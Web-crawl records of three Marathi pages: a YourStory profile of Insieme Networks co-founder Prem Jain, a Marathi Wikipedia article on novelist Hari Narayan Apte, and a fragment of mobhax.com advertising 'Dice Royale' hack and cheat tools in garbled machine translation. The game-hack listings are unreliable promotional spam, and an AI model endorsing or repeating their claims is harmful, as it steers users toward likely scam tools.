"cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/0adf6b929c/jain-love-863-million-dollars-of-the-previous-champion-insieme-networks-hand-", "date_download": "2018-09-25T17:58:04Z", "digest": "sha1:VQUNJABA5TZFT6YGYBAVKL7LKJK6GZMN", "length": 20704, "nlines": 127, "source_domain": "marathi.yourstory.com", "title": "प्रेम जैन; ८६३ दशलक्षी डॉलरच्या Insieme Networks मागचा खंदा हात!", "raw_content": "\nप्रेम जैन; ८६३ दशलक्षी डॉलरच्या Insieme Networks मागचा खंदा हात\nएप्रिल २०१२ मध्ये ‘सिस्को’ने आपल्याच अभियंत्यांच्या ‘स्टार्टअप’मध्ये १०० दशलक्ष डॉलरची गुंतवणूक केली. ६ नोव्हेंबर २०१३ रोजी Insieme Networks ही कंपनी सुरू करण्यात आली. लगेचच दणदणित ८६३ दशलक्ष डॉलरच्या मोबदल्यात ती अधिग्रहित करण्यात आली. ‘सॉफ्टवेअर डिफाइन्ड नेटवर्किंग’च्या संवर्धनासाठी ‘सिस्को’ने हे पाउल उचलले, असे या घटनेकडे पाहिले गेले. पण खरंतर हे यश म्हणजे Insieme Networks चे सहसंस्थापक प्रेम जैन, मारिओ मॅझोला आणि लुका कॅफेरो यांच्या पोक्त अनुभवांचेच पडसाद होते. या सगळ्यांचे याआधीचे ‘नुओव्हा सिस्टिम्स’ हे ‘डाटा सेंटर स्टार्टअप’देखील ‘सिस्को’कडून अधिग्रहित करण्यात आलेले होते. २००८ मध्ये हे घडले होते. Insieme Networks च्या तीनपैकी एक असलेल्या सहसंस्थापक प्रेम जैन यांच्याशी आम्ही नुकताच संवाद साधला. प्रेम जैन हे BITS Pilani च्या १९९३ च्या बॅचचे विद्यार्थी. जैन यांची ‘सिस्को’तील कारकीर्द अभियांत्रिकी निदेशक म्हणून सुरू झाली. याच काळात सिस्कोने Crescendo Communications अधिग्रहित केलेले होते. सिस्कोतून ज्येष्ठ उपाध्यक्ष म्हणून निवृत्त झाल्यानंतर प्रेम जैन यांनी सिस्कोचे मुख्य कार्यकारी अधिकारी जॉन चेंबर यांचे सल्लागार म्हणून नवी इनिंग सुरू केली. प्रेम मोजकेच बोलतात. तरुण उद्यमी-व्यावसायिकांसाठी त्यांचा एकेक शब्द म्हणजे दीपस्तंभच\nप्रेम जैन यांची कारकीर्द आभाळभर आहे. काही शब्दांत ती तशी पेलता यायची नाही. प्रामाणिकपणा, पारदर्शकता आणि नम्रतेचे धडे त्यांना वडिलांकडूनच मिळाले. त्यांना आपल्या जमेच्या आणि वजा बाजू चांगल्याच ठाऊक आहेत. बिटस्‌ पिलानीतील फुलपंखी महाविद्यालयीन दिवसांतच ते बाह्यजगताला ज्ञात झालेले होते आणि ते दिवस त्यांना बरेच काही शिकवून जाणारे ठरले. वेगवेगळ्या पार्श्वभूमीतून आलेल्या लोकांशी समायोजन साधने, संघभावना नेमकी काय असते, ती कशी विकसित होते, याबद्दलचे तारतम्यही त्यांच्या ठायी याच दिवसांत विकसित झालेले होते. शिक्षणाबरोबरच नेतृत्वाचे, उद्यमशिलतेचे गुण तर त्यांच्यात अक्षरश: उसळायला लागलेले होते. डॉ. मित्रा, डॉ. हांडा आणि डॉ. नागरथ यांच्यासारख्या प्राध्यापकांना प्रेम जैन त्याचे श्रेय देतात. इथं प्रेम यांनी कितीतरी मित्र मिळवले. विविध गुणदर्शनाच्या कितीतरी कार्यकलापांमध्ये आपला सक्रिय सहभाग नोंदवला. या सगळ्या कार्यकलापांमध्ये सर्वाधिक परिणामकारक आणि प्रेम यांच्या एकुणातील व्यक्तिमत्वावर ठसा उमटवणारी ठरली ती युरोपची सहल. कहर म्हणजे आपल्या पाच वर्षांच्या महाविद्यालयीन जीवनात या सहलीचा आनंदानुभव त्यांनी तब्बल चारवेळा लुटला. विविध संस्कृतींशी याद्वारे ओळख झाली. खिशात पावाणा नसताना दिवस कसे लोटायचे असतात, त्याचे धडेही या सहलींदरम्यान प्रेम यांनी गिरवले. सर्वांत महत्त्वाचे म्हणजे या सहलींनी त्यांच्यात याआधी कधीही न केलेली धाडसे मार्गी लावण्याचे धैर्य निर्माण केले. कौशल्य निर्माण केले.\nप्रेम पुढे अमेरिकेत गेले आणि ‘यू. सी. डेव्हीस’मधून पदव्युत्तर पदवी संपादन केली. ‘डेव्हिड सिस्टिम्स’साठी ‘बीएनआर’मध्ये वैज्ञानिक चमूत अभियांत्रिकी निदेशक म्हणून त्यांनी कार्य सुरू केले. ते ‘क्रिसँडो’मध्ये असताना ‘सिस्को’ने ही कंपनी अधिग्रहित केली. तंत्रज्ञानात बलाढ्य म्हणून ओळखल्या जाणाऱ्या सिस्कोशी अशाप्रकारे त्यांचा संपर्क आला आणि इथूनच त्यांचा फलदायक प्रवास खऱ्या अर्थाने सुरू झाला.\nआपल्या व्यावसायिक कारकीर्दीतून जे काही त्यांनी अनुभवले, त्यातून काढलेल्या काही मार्गदर्शक तत्वांचे हे सार…\n१)\tतुम्ही जे काही कराल, त्याचा संबंधित उद्योगावर विशिष्ट पडसाद उमटणार आहेत काय, परिणाम होणार आहे काय, हे आधी लक्षात घ्यायला हवे.\n२)\tचुका कबुल करा. दुरुस्त करा आणि पुढे चला. हे वर्तुळ शक्य तितक्या त्वरेने पूर्ण करा.\n३)\tजमिनीशी नाळ काय ठेवा. ‘स्टार’ बनण्याचा प्रयत्न करू नका. आभाळ इतकंही ठेंगणं नाही, हे लक्षात ठेवा. असे केल्याने आलेल्या संधी तुम्ही हातच्या घालवाल.\nकाय करावे काय करू नये\nआपण आपली व्यावसायिक कारकीर्द सुरू करण्यात जरा उशीरच केला, असे सिंहावलोकन करताना, मागे वळून पाहताना प्रेम यांना हमखास जाणवते. श्रीगणेशा आपण जरा लवकर करू शकलो असतो, असेही राहून राहून वाटते. लाल फितींतून आणि नियमांच्या चाकोरीतून मुक्त असे वातावरण प्रेम यांना त्यासाठी हवे होते. जिथे नावीन्यपूर्ण कल्पनांकडे तुसडेपणाने पाहिले जात नाही, अशी परिस्थिती त्यांना अपेक्षित होती. तरीही पहिल्यांदाच उद्यम-व्यवसायात पाउल टाकत आहे, अशा नवोदितांसाठी काय करावे आणि काय करू नये, याबाबत दोन चांगल्या गोष्टी सांगताना त्यांना आज आनंदच होतो आहे…\n१)\tतुमच्याकडे जर एखादी कल्पना असेल तर परिणाम काय होईल, त्याबद्दल फार निष्कर्ष काढत बसू नका, किस काढत बसू नका. कल्पनेवर काम सुरू करा बास…\n२)\tबाजारातील सर्व प्रकारच्या घडामोडींबद्दल सजग रहा.\n३)\t‘आता मीही’ या प्रमाणे ट्रेंडची वा एखाद्याची नक्कल म्हणून व्यवसाय सुरू करू नका.\n४)\tजर अपयशी ठरलात तर वाइट वाटून घेऊ नका. आमच्या पहिल्या व्यवसायात आम्ही त्या क्षणापर्यंतचे तंत्रदृष्ट्या सर्वोत्कृष्ट उत्पादन बाजारात उतरवले होते, पण विक्रीची अपेक्षित पातळी आम्ही गाठू शकलो नाही. मोठे अपयश हा त्याचा परिणाम होता, पण आम्ही वाइट वाटून घेतले नाही. त्याचा उपयोग नाही. नव्याने कामाला लागलो. हेच उत्तम असते\n५)\tप्रामाणिक असा. ज्या क्षणी तुम्हाला तुमची चुक जाणवेल, त्या क्षणी ती दुरुस्त करा.\n६)\tटीममधल्या सदस्यांत परस्पर विश्वासाची भावना वृद्धिंगत करा. आपापले अहंकार एका कोपऱ्यात ठेवून एकमेकांच्या चांगल्या कामाबद्दल एकमेकांचे अभिनंदन करा. एकच लक्षात ठेवा. टीममधला प्रत्येक जण एकाच ध्येयाने काम करतोय. ते म्हणजे आपल्या प्रकल्पाचे यश.\nभारतातील ‘स्टार्टअप्स’मध्ये काही उणिवा आहेत. आणि स्टार्टअपच्या अपयशामध्ये या उणिवाच कळीचा मुद्दा ठरतात.\n१)\tसामंजस्य – आपण जी समस्या सोडवत आहोत, तिला नेमके समजून घ्या. ग्राहकाला समजून घ्या. इथे तुम्हाला महत्त्वाकांक्षी असण्यापेक्षा वास्तववादीच असायला हवं.\n२)\tलाटेच्या अग्रभागी रहा – लाटेवर स्वार होण्यापेक्षा तिच्या अग्रभागी रहा. तुम्ही तुमच्या उत्पादनाबाबत आणि उपक्रमाबाबत कृतीशील आणि ग्रहनशील असायला हवे. भविष्यातील ट्रेंडस्‌चा वेध घेत रहा आणि ट्रेंडस्‌सेटर (पायंडा पाडणारे) म्हणून स्वत:चे स्थान निर्माण करण्याचा प्रयत्न करा. थोडक्यात पायंड्यावरून चालण्यापेक्षा पायंडे पाडा.\n३)\tचांगले सल्लागार मिळवा – चांगल्या सल्लागारांच्या शोधात रहा आणि त्यांचे सल्ले नियमितपणे ऐका. पण या संवादातून तुमच्यातल्या बरोबर आणि चुक ओळखण्यातल्या उपजत वृत्तीवर परिणाम होता कामा नये. बरोबर वाटते तेच करा आणि त्याचे जे काय होतील, त्या परिणामांना सामोरे जा.\n४)\tया क्षेत्राचा आदर करा – व्यवसाय अगर उद्यमशिलता ही मुख्यत: आपली छाप सोडण्यासाठी असते. वेगाने पैशांची निर्मिती करण्याचा मार्ग कदापि नाही.\nउद्यमी भारतातील उदयोन्मुख नवोन्मेषाला उद्देशून प्रेम यांना सांगायचेय…...की, जे काही तुम्ही करता आहात, त्यात तुमचे हृदय, आत्मा आणि मन संपूर्णपणे ओवाळून टाका. एकदा श्रीगणेशा केल्यानंतर मागे वळून बघत बसू नका. तुम्हाला यश मिळालेले आहे आणि यशश्री तुमच्या दिशेने माळ घेऊन निघालेली आहे, असे खुशाल समजा आणि मगच ध्येयसिद्धीच्या यज्ञात आपल्या कर्माच्या समिधा अर्पण करायला प्रारंभ करा.\nव्यावसायिक, उद्यमी व्हायचे तर खरं पाहता कधीही उशीर झालेला नसतो. कुठलेही ‘स्टार्टअप’ सुद्धा तसेच घाई घाई होत नसते.\nलेखक : अलोक सोनी\nअनुवाद : चंद्रकांत यादव\nसात्विक भावनेतून समूह उद्योगाच्या क्षेत्रात यशस्वी वाटचाल करणारे ‘सोमेश्र्वर’ कंपनीचे महेंद्र साखरे\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nभारतीय-अमेरिकन वकील ज्या ट्रम्प यांचे नियामक कामकाज कार्यालय चालवितात\nकहानीवाली नानींना भेटा,ज्यांनी दहा हजार मुलांना गोष्टी सांगितल्या आहेत\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B9%E0%A4%B0%E0%A5%80_%E0%A4%A8%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%AF%E0%A4%A3_%E0%A4%86%E0%A4%AA%E0%A4%9F%E0%A5%87", "date_download": "2018-09-25T16:53:10Z", "digest": "sha1:FQTM3R4VN3NBOAJ7FTJVV6IFOAWFZG6F", "length": 31308, "nlines": 200, "source_domain": "mr.wikipedia.org", "title": "हरी नारायण आपटे - विकिपीडिया", "raw_content": "\nनारायण हरी आपटे याच्याशी गल्लत करू नका.\nहरी नारायण आपटे, अर्थात ह.ना. आपटे, (मार्च ८, इ.स. १८६४ - मार्च ३, इ.स. १९१९) हे मराठी लेखक, कादंबरीकार, नाटककार, कवी व व्याख्याते होते. ते करमणूक व ज्ञानप्रकाश या मासिकांचे काही काळ संपादक, आनंदाश्रम या प्रकाशनसंस्थेचे व्यवस्थापक, आणि करमणूक या मासिकाचे संस्थापक-संपादक होते. अकोला येथे भरलेल्या महाराष्ट्र साहित्य संमेलनाचे ते संमेलनाध्यक्ष होते. त्यांनी अनेक पुस्तकांना प्रस्तावना लिहिल्या आहेत. आठ स्त्रीरत्ने या सदराखाली ह.ना.आपटे यांनी भास्कराचार्यांची लीलावती, राणी दुर्गावती इत्यादी स्त्रियांची बोधप्रद माहिती प्रकाशित केली होती. केशवसुतांची कविता आणि गोविंद बल्लाळ देवल यांचे शारदा हे नाटक हरीभाऊ आपट्यांनीच प्रकाशात आणले.\nआपटे अर्वाचीन मराठी कादंबरीचे जनक मानले जातात. त्यांच्या लिखाणावर महादेव गोविंद रानडे, गोपाळ कृष्ण गोखले प्रभृतींचा प्रभाव होता. १२ सामाजिक आणि ११ ऐतिहासिक अशा एकूण २३ कादंबर्‍या लिहिणार्‍या ह.ना. आपटयांची 'पण लक्षात कोण घेतो' ही कादंबरी मराठी साहित्यात मानदंड समजली जाते. सतत २५-३० वर्षे अशाप्रकारचे मराठी साहित्य निर्माण झालेल्या त्या ह.ना.आपट्यांच्या कालखंडाला हरीभाऊ युग म्हणतात, आणि हरीभाऊ आपट्यांना युगप्रवर्तक. हरिभाऊंनी नाटकेसुद्धा लिहिली आहेत. दोन नाटके स्वतंत्र आहेत, त्यांतले ’सती पिंगळा’ हे नाटक त्यांच्या मृत्यूनंतर प्रकाशित झाले. उरलेली तीन नाटके व तीन प्रहसने रूपांतरित आहेत. धूर्तविलसत, मारून मुटकून वैद्यबुवा व जबरीचा विवाह ही फ्रेन्च नाटककार मोलियरच्या प्रहसनांची रूपांतरे आहेत तर, जयध्वज (मूळ व्हिक्टर ह्यूगोचे 'हेर्नानी'), श्रुतकीर्तचरित (कॉग्रेव्हचे ’द मोर्निंग ब्राइड’) व सुमतिविजय (शेक्सपियरचे ’मेझर फॉर मेझर’) ही रूपांतरित नाटके आहेत. त्यांनी मुंबई मराठी ग्रंथ संग्रहालयाच्या तेराव्या वार्षिक सभेपुढे दिलेल्या व्याख्यानांची पुस्तिका ’विदग्धवाङ्‌मय’ या नावाखाली प्रकाशित झाली होती. ’नाट्यकथार्णव’ यामासिकासाठी त्यांनी मेडोज टेलर या इंग्रजी लेखकाच्या दोन कादंबर्‍यांची ’तारा’ व ’पांडुरंग हरी’ ही मराठी भाषांतरे केली होती. बिचारा या टोपणनावाने ह.ना. आपट्यांनी २९ मार्च, इ.स. १८८१च्या केसरीच्या अंकात कालिदास व भवभूती यांच्या संबंधांत लिहिलेल्या पत्रांतून त्यांचा व्यासंग व समीक्षा दृष्टी दिसून येते. निबंधकार चिपळूणकर यांच्या निधनानंतर हरीभाऊ आपट्यांनी शिष्यजनविलाप ही ८८ श्लोकांची विलापिका लिहिली होती. ती विद्वज्जनांनी वाखाणली होती.\nआजच सामाजिक कादंबरी(अपूर्ण) रम्यकथा प्रकाशन इ.स. १९०४ - इ.स. १९०६\nउष:काल ऐतिहासिक कादंबरी इ.स. १८९५ - इ.स. १८९७\nघटकाभर करमणूक कथासंग्रह इ.स. १९१७\nकर्मयोग सामाजिक कादंबरी(अपूर्ण) रम्यकथा प्रकाशन इ.स. १९१३ - इ.स. १९१७\nकालकूट ऐतिहासिक कादंबरी(अपूर्ण) इ.स. १९०९ - इ.स. १९११\nकेवळ स्वराज्यासाठी ऐतिहासिक कादंबरी इ.स. १८९८ - इ.स. १८९९\nगड आला पण सिंह गेला ऐतिहासिक कादंबरी रम्यकथा प्रकाशन इ.स. १९०३ - इ.स. १९०४\nगणपतराव सामाजिक कादंबरी(अपूर्ण) आधी मासिक’मनोरंजन’, नंतर रम्यकथा प्रकाशन इ.स. १८८६ - इ.स. १८९२\nगीतांजली टागोरांचे चरित्र व त्यांच्या गीतांजलीचा गद्य अनुवाद इ.स. १९१७\nचंद्रगुप्त ऐतिहासिक कादंबरी इ.स. १९०२ - इ.स. १९०५\nचाणाक्षपणाचा कळस सामाजिक कादंबरी आधी मनोरंजन मासिक, नंतर रम्यकथा प्रकाशन इ.स. १८८६ - इ.स. १८९२\nजग हें असें आहे... सामाजिक कादंबरी रम्यकथा प्रकाशन इ.स. १८९७ - इ.स. १८९९\nजबरीचा विवाह प्रहसन(रूपांतरित) इ.स. १९१०\nधूर्त विलसत प्रहसन(रूपांतरित) इ.स. १९१०\nपण लक्षात कोण घेतो सामाजिक कादंबरी रम्यकथा प्रकाशन इ.स. १८९० - इ.स. १८९२\nपांडुरंग हरी सामाजिक कादंबरी(अनुवादित)\nभयंकर दिव्य कादंबरी रम्यकथा प्रकाशन इ.स. १९०१ - इ.स. १९०३\nभासकवीच्या नाटककथा कथा(रूपांतरित) इ.स. १९१७\nमधली स्थिति(आजकालच्या गोष्टी) सामाजिक कादंबरी आधी मासिक ’पुणे वैभव’, नंतर रम्यकथा प्रकाशन इ.स. १८८५ - इ.स. १८८८\nमाध्यान्ह सामाजिक कादंबरी इ.स. १९०६ - इ.स. १९०८\nमायेचा बाजार सामाजिक कादंबरी रम्यकथा प्रकाशन इ.स. १९१० - इ.स. १९१२\nमारून मुटकून वैद्यबुवा प्रहसन(रूपांतरित) इ.स. १९१०\nमी सामाजिक कादंबरी रम्यकथा प्रकाशन इ.स. १८९३ - इ.स. १८९५\nम्हैसूरचा वाघ अनुवादात्मक ऐतिहासिक कादंबरी(अपूर्ण) इ.स. १८९० - इ.स. १८९१\nयशवंतराव खरे सामाजिक कादंबरी रम्यकथा प्रकाशन इ.स. १८९२ - इ.स. १८९५\nरूपनगरची राजकन्या ऐतिहासिक कादंबरी रम्यकथा प्रकाशन इ.स. १९०० - इ.स. १९०२\nवज्राघात ऐतिहासिक कादंबरी इ.स. १९१३ - इ.स. १९१५\nविदग्धवाङ्‌मय व्याख्यानपुस्तिका इ.स. १९११\nशिष्यजनविलाप श्लोकमय विलापिका साप्ताहिक केसरी मार्च, इ.स. १८८२\nसंत सखू नाटक इ.स. १९११\nसती पिंगळा नाटक इ.स. १९२१\nसूर्यग्रहण ऐतिहासिक कादंबरी(अपूर्ण) इ.स. १९०८ - इ.स. १९०९\nसूर्योदय ऐतिहासिक कादंबरी इ.स. १९०५ - इ.स. १९०६\nस्फुट गोष्टी -भाग १ ते ४ कथासंग्रह इ.स. १९१७\nहरीभाऊंचीं पत्रें [१] पत्रसंग्रह ऐक्यसंपादन मंडळ\n↑ हरी नारायण आपटे यांनीं श्री काशीबाई व गोविंद वासुदेव कानिटकर यांस लिहिलेलीं पत्रें ; दोन शब्द, काशीबाई कानिटकर ; प्रस्तावना वाग्भट नारायण देशपांडे\nहरि नारायण आपटे यांचे संक्षिप्त चरित्र (इ.स. १९२२) : लेखक बा.मा.आंबेकर\nहरिभाऊ, काळ आणि कर्तृत्व (इ.स. १९७२) : लेखक वि.बा.आंबेकर\nहरि नारायण आपटे, चरित्र व वाङ्‍मयविवेचन (इ.स. १९३१): लेखिका वेणूताई पानसे\nह.ना. आपटे निवडक वाङ्‌मय : साहित्य अकादमी प्रकाशन (इ.स. १९८९) : संपादक विद्याधर पुंडलिक\nआलोचना मासिकाचा हरि नारायण आपटे विशेषांक (इ.स. १९६३)\nकृपया स्वत:च्या शब्दात परिच्छेद लेखन करून या लेखाचा / विभागाचा विस्तार करण्यास मदत करा.\nअधिक माहितीसाठी या लेखाचे चर्चा पान, विस्तार कसा करावा किंवा इतर विस्तार विनंत्या पाहा.\n· रुस्तुम अचलखांब · प्रल्हाद केशव अत्रे · अनिल अवचट · सुभाष अवचट · कृ.श्री. अर्जुनवाडकर · बाबुराव अर्नाळकर\n· लीना आगाशे · माधव आचवल · जगन्नाथ रघुनाथ आजगावकर · मंगला आठलेकर · शांताराम आठवले · बाबा आढाव · आनंद पाळंदे · नारायण हरी आपटे · मोहन आपटे · वामन शिवराम आपटे · विनीता आपटे · हरी नारायण आपटे · बाबा आमटे · भीमराव रामजी आंबेडकर · बाबा महाराज आर्वीकर\n· नागनाथ संतराम इनामदार · सुहासिनी इर्लेकर\n· निरंजन उजगरे · उत्तम कांबळे · शरद उपाध्ये · विठ्ठल उमप · प्रभाकर वामन उर्ध्वरेषे · उद्धव शेळके\n· एकनाथ · महेश एलकुंचवार\n· जनार्दन ओक ·\n· शिरीष कणेकर · वीरसेन आनंदराव कदम · कमलाकर सारंग · मधु मंगेश कर्णिक · इरावती कर्वे · रघुनाथ धोंडो कर्वे · अतुल कहाते · नामदेव कांबळे · अरुण कांबळे · शांताबाई कांबळे · अनंत आत्माराम काणेकर · वसंत शंकर कानेटकर · दत्तात्रय बाळकृष्ण कालेलकर · किशोर शांताबाई काळे · व.पु. काळे · काशीबाई कानिटकर · माधव विनायक किबे · शंकर वासुदेव किर्लोस्कर · गिरिजा कीर · धनंजय कीर · गिरीश कुबेर · कुमार केतकर · नरहर अंबादास कुरुंदकर · कल्याण कुलकर्णी · कृष्णाजी पांडुरंग कुलकर्णी · दत्तात्रेय भिकाजी कुलकर्णी · वामन लक्ष्मण कुलकर्णी · वि.म. कुलकर्णी · विजय कुवळेकर · मधुकर केचे · श्रीधर व्यंकटेश केतकर · भालचंद्र वामन केळकर · नीलकंठ महादेव केळकर · महेश केळुस्कर · रवींद्र केळेकर · वसंत कोकजे · नागनाथ कोत्तापल्ले · अरुण कोलटकर · विष्णु भिकाजी कोलते · श्रीपाद कृष्ण कोल्हटकर · श्री.के. क्षीरसागर · सुमति क्षेत्रमाडे · सुधा करमरकर\n· शंकरराव खरात · चांगदेव खैरमोडे · विष्णू सखाराम खांडेकर · नीलकंठ खाडिलकर · गो.वि. खाडिलकर · राजन खान · गंगाधर देवराव खानोलकर · चिंतामणी त्र्यंबक खानोलकर · संजीवनी खेर · गो.रा. खैरनार · निलीमकुमार खैरे · विश्वनाथ खैरे · चंद्रकांत खोत\n· अरविंद गजेंद्रगडकर · प्रेमानंद गज्वी · माधव गडकरी · राम गणेश गडकरी · राजन गवस · वीणा गवाणकर · अमरेंद्र गाडगीळ · गंगाधर गाडगीळ · नरहर विष्णु गाडगीळ · सुधीर गाडगीळ · लक्ष्मण गायकवाड · रामचंद्र भिकाजी गुंजीकर · वसंत नीलकंठ गुप्ते · अरविंद गोखले · दत्तात्रेय नरसिंह गोखले · मंदाकिनी गोगटे · शकुंतला गोगटे · अच्युत गोडबोले · नानासाहेब गोरे · पद्माकर गोवईकर ·\n· निरंजन घाटे · विठ्ठल दत्तात्रय घाटे · प्र.के. घाणेकर\n· चंद्रकांत सखाराम चव्हाण · नारायण गोविंद चापेकर · प्राची चिकटे · मारुती चितमपल्ली · विष्णुशास्त्री कृष्णशास्त्री चिपळूणकर · वामन कृष्ण चोरघडे · भास्कर चंदनशिव\n· बाळशास्त्री जांभेकर · नरेंद्र जाधव · सुबोध जावडेकर · शंकर दत्तात्रेय जावडेकर · रामचंद्र श्रीपाद जोग · चिंतामण विनायक जोशी · लक्ष्मणशास्त्री बाळाजी जोशी · वामन मल्हार जोशी · श्रीधर माधव जोशी · श्रीपाद रघुनाथ जोशी · जगदीश काबरे ·\n· अरूण टिकेकर · बाळ गंगाधर टिळक ·\n· विमला ठकार · उमाकांत निमराज ठोमरे ·\n· वसंत आबाजी डहाके\n· नामदेव ढसाळ · अरुणा ढेरे · रामचंद्र चिंतामण ढेरे ·\n· तुकाराम · तुकडोजी महाराज · दादोबा पांडुरंग तर्खडकर · गोविंद तळवलकर · शरद तळवलकर · लक्ष्मीकांत तांबोळी · विजय तेंडुलकर · प्रिया तेंडुलकर ·\n· सुधीर थत्ते ·\n· मेहरुन्निसा दलवाई · हमीद दलवाई · जयवंत दळवी · स्नेहलता दसनूरकर · गो.नी. दांडेकर · मालती दांडेकर · रामचंद्र नारायण दांडेकर · निळू दामले · दासोपंत · रघुनाथ वामन दिघे · दिवाकर कृष्ण · भीमसेन देठे · वीणा देव · शंकरराव देव · ज्योत्स्ना देवधर · निर्मला देशपांडे · कुसुमावती देशपांडे · गणेश त्र्यंबक देशपांडे · गौरी देशपांडे · पु.ल. देशपांडे · पुरुषोत्तम यशवंत देशपांडे · लक्ष्मण देशपांडे · सखाराम हरी देशपांडे · सरोज देशपांडे · सुनीता देशपांडे · शांताराम द्वारकानाथ देशमुख · गोपाळ हरी देशमुख · सदानंद देशमुख · मोहन सीताराम द्रविड ·\n· चंद्रशेखर शंकर धर्माधिकारी · मधुकर धोंड ·\n· किरण नगरकर · शंकर नारायण नवरे · गुरुनाथ नाईक · ज्ञानेश्वर नाडकर्णी · जयंत विष्णू नारळीकर · नारायण धारप · निनाद बेडेकर · नामदेव\n· पंडित वैजनाथ · सेतुमाधवराव पगडी · युसुफखान महम्मदखान पठाण · रंगनाथ पठारे · शिवराम महादेव परांजपे · गोदावरी परुळेकर · दया पवार · लक्ष्मण रामचंद्र पांगारकर · विश्वास पाटील · शंकर पाटील · विजय वसंतराव पाडळकर · स्वप्ना पाटकर · प्रभाकर आत्माराम पाध्ये · प्रभाकर नारायण पाध्ये · गंगाधर पानतावणे · सुमती पायगावकर · रवींद्र पिंगे · द्वारकानाथ माधव पितळे · बळवंत मोरेश्वर पुरंदरे · केशव जगन्नाथ पुरोहित · शंकर दामोदर पेंडसे · प्रभाकर पेंढारकर · मेघना पेठे · दत्तो वामन पोतदार · प्रतिमा इंगोले · गणेश प्रभाकर प्रधान · दिलीप प्रभावळकर · सुधाकर प्रभू · अनंत काकबा प्रियोळकर ·\n· निर्मलकुमार फडकुले · नारायण सीताराम फडके · यशवंत दिनकर फडके · नरहर रघुनाथ फाटक · फादर दिब्रिटो · बाळ फोंडके ·\n· अभय बंग · आशा बगे · श्रीनिवास नारायण बनहट्टी · बाबूराव बागूल · रा.रं. बोराडे · सरोजिनी बाबर · बाबुराव बागूल · विद्या बाळ · मालती बेडेकर · विश्राम बेडेकर · दिनकर केशव बेडेकर · वासुदेव श्रीपाद बेलवलकर · विष्णू विनायक बोकील · मिलिंद बोकील · शकुंतला बोरगावकर ·\n· रवींद्र सदाशिव भट · बाबा भांड · लीलावती भागवत · पुरुषोत्तम भास्कर भावे · विनायक लक्ष्मण भावे · आत्माराम भेंडे · केशवराव भोळे · द.ता. भोसले · शिवाजीराव भोसले ·\n· रमेश मंत्री · रत्नाकर मतकरी · श्याम मनोहर · माधव मनोहर · ह.मो. मराठे · बाळ सीताराम मर्ढेकर · गंगाधर महांबरे · आबा गोविंद महाजन · कविता महाजन · नामदेव धोंडो महानोर · श्रीपाद महादेव माटे · गजानन त्र्यंबक माडखोलकर · व्यंकटेश दिगंबर माडगूळकर · लक्ष्मण माने · सखाराम गंगाधर मालशे · गजमल माळी · श्यामसुंदर मिरजकर · दत्ताराम मारुती मिरासदार · मुकुंदराज · बाबा पदमनजी मुळे · केशव मेश्राम · माधव मोडक · गंगाधर मोरजे · लीना मोहाडीकर · विष्णु मोरेश्वर महाजनी ·\n· रमेश मंत्री · विश्वनाथ काशिनाथ राजवाडे · विजया राजाध्यक्ष · मंगेश विठ्ठल राजाध्यक्ष · रावसाहेब कसबे · रुस्तुम अचलखांब · पुरुषोत्तम शिवराम रेगे · सदानंद रेगे ·\n· शरणकुमार लिंबाळे · लक्ष्मण लोंढे · गोपाळ गंगाधर लिमये ·\n· तारा वनारसे · विठ्ठल भिकाजी वाघ · विजया वाड · वि.स. वाळिंबे · विनायक आदिनाथ बुवा · सरोजिनी वैद्य · चिंतामण विनायक वैद्य ·\n· मनोहर शहाणे · ताराबाई शिंदे · फ.मुं. शिंदे · भानुदास बळिराम शिरधनकर · सुहास शिरवळकर · मल्लिका अमर शेख · त्र्यंबक शंकर शेजवलकर · उद्धव शेळके · शांता शेळके · राम शेवाळकर ·\n· प्रकाश नारायण संत · वसंत सबनीस · गंगाधर बाळकृष्ण सरदार · त्र्यंबक विनायक सरदेशमुख · अण्णाभाऊ साठे · अरुण साधू · राजीव साने · बाळ सामंत · आ.ह. साळुंखे · गणेश दामोदर सावरकर · विनायक दामोदर सावरकर · श्रीकांत सिनकर · प्रल्हाद ईरबाजी सोनकांबळे · समर्थ रामदास स्वामी · दत्तात्रेय गणेश सारोळकर\nअखिल भारतीय मराठी साहित्य संमेलनांचे अध्यक्ष\nइ.स. १८६४ मधील जन्म\nइ.स. १९१९ मधील मृत्यू\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल २१ मार्च २०१८ रोजी २३:१० वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://mobhax.com/mr/page/2/", "date_download": "2018-09-25T17:29:29Z", "digest": "sha1:26BMJIVRCMQI7BTNRJX3XZRDAWUVJMBH", "length": 3204, "nlines": 43, "source_domain": "mobhax.com", "title": "Mobhax - पृष्ठ 2 च्या 740 - केवळ कार्यरत गेम खाच!", "raw_content": "\nRoyale खाच पाप फासा\nआज आम्ही फासा Royale खाच पाप बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nRoyale फसवणूक आणि टिपा फासा\nRoyale हिरे खाच साधन फासा\nRoyale खाच Cheats साधन फासा\nआयफोन Royale फसवणूक फासा\nRoyale खाच संगणक फासा\nपृष्ठ 2 च्या 740‹ मागील123456पुढे ›गेल्या 